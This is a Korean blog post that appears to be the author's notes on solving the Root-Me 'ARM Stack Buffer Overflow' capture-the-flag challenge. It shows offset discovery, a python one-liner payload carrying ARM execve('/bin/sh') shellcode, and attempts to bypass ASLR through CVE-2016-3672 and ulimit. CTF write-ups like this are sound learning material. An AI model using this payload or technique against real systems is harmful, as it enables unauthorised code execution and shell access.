[Rootme] ARM Stack Buffer Overflow

2019. 1. 29. 17:240x04 pwnable

728x90

local에서 쉘을 땄는데 remote에서 안됬다... 흠 어쨌든 푸는 법 알았으니 메모

페이로드는 공개안한다.


mitigation : ASLR, RELRO(Read Only relocations)

NX 안걸려있으면 arm 쉘코드 사용가능?


SSH 진입 
ch45, ch45.c , ._firewall, Makefile, .motd, .passwd, xinetd-app-systeme-ch45.conf가 있다.



ch45 파일을 가져와보자.
scp -p2224 app-systeme-ch45@challenge04.root-me.org:/challenge/app-systeme/ch45/ch45 ./

무작위로 200 바이트 넣으니까 pc가 변조됨을 확인했다. 정확하게 몇 바이트 넣어야하는지 체크해보자.


pop이 총 9번 되어야 pc가 된다. 
=> 0x104fc <main+292>:  pop     {r4, r5, r6, r7, r8, r9, r10, r11, pc}

이 PC 값을 덮어야 한다.


PC를 덮으면서, 사용해야하는 주소로 점프 

150 바이트 덮었을 때의 상황

pop 을 9번 하면 0xbefffb3C가 되겠군.

160바이트 덮었을 때의 상황
여기에서 알 수 있는 것. 정상적인 ret(pc)는 0xbefffb3c(0xb6f018ab:exit)이다. 


168 바이트 덮었을 때의 상황
PC가 덮였다. 자 마지막은 무조건 60이 되는 것도 확인이 되었다.


169바이트 해도 PC는 0x62626260임을 확인했다.

이제 어떻게 해야할까? 
고정 값이 무조건 0x….60이고,  0xbefffb60까지 무사히 점프하기 위해 
dummy*164 + p32(0xbefffb60) + “nop”*100 + “shellcode” 이러면 되지 않을까 


(python -c ‘print “A”*164+”\x60\xfb\xff\xbe” + “\x90”*100 + "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68”’; cat) | ./ch45

hm… Fail


ASLR이 걸려있기 때문이다. 그러면 우리는 Dump again 때는 주소가 바뀌지 않으니까 이것을 이용하면 된다.

스크립트를 짜기위해서 다음과 같이 할 수 있다.
1. 덤프 크기 추출 완료 
2. Give me data to dump: \n후 주소가 노출된다. 
3. 노출 되는 주소를 정수형으로 만든다.
4. 마지막 하위 2바이트 arr[3]이라고 지칭 (0xaabbccdd & 0xff) 
5. 습득 한 하위 2바이트로 새로운 로직을 구현한다. 
6. 어떤 새로운 로직? 마지막 하위 2바이트가 60이 되어야 하기 때문에 60보다 클 경우 arr[2]와 arr[3]을 연결한다.


스크립트 짜서 돌리다가 좋은 힌트를 찾았다.

Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
아하 !! CVE를 읽기전에 생각해보기로는 나는 지금 SSH 환경 이기 때문에 ASLR을 해제 할 수 있다고 본다.

echo 2 > /proc/sys/kernel/randomize_va_space
위 방법은 sudo 권한이 없기에 탈락이에요.

ulimit -s unlimited
적용이 안된다.. 프로그램을 종료 후 재 실행하면 주소가 변경 됨을 확인.

CVE를 토대로 공부를 진행해보고, 그것을 따라해보았다. 2016년꺼니까 지금은 막혔을거다~ 
1. /tmp/c0nstant에 /proc/%pid/maps 출력 파일을 생성 
Code
#include <stdio.h>

int main(int argc, char *argv[])
{
    char cmd[256];
    sprintf(cmd, “cat /proc/%d/maps”,getpid());
    system(cmd);
    return 0;
}

Result


2.for i in `seq 1 10`; do ./ex | grep "r-xp.*libc"; done
주소들이 지 멋대로 뒤죽박죽 바뀌고 있음을 확인할 수 있다.


3. STACK에 unlimit 적용
역시 지금 버전에서는 안된다..


그렇다면, 그냥 스크립트를 짜서 풀었다. 근데 쉘이 안따진다?
setuid 권한이 없다? 
그럼 setuid 권한까지 같이 얻는 코드를 작성해야하나?



두둥 자세히 보니 xinetd 세팅이 있다.


이런….. xinetd-app-systeme-ch45.conf를 열어보니..
service app-systeme-ch45
{
       flags                   = IPv6
       instances               = 50
       disable                 = no
       port                    = 61045
       socket_type             = stream
       protocol                = tcp
       wait                    = no
       user                    = app-systeme-ch45-cracked
       server                  = /usr/bin/timeout
       server_args             = -k1m 1m /challenge/app-systeme/ch45/ch45
       type                    = UNLISTED
}



nc로 바꾸면 되어야 하는데 느려터져서 그런가 안된다.. 어쨌든 풀었으니 패스 !  ^0^  


'0x04 pwnable' 카테고리의 다른 글

bss bufferoverflow 정리  (0) 2018.08.08
DirtyCOW CVE 2016-5195  (0) 2018.06.15
xinetd.d 세팅  (0) 2018.05.16
Core Dump  (0) 2018.05.15
unbounded latency 공부중..  (0) 2018.05.04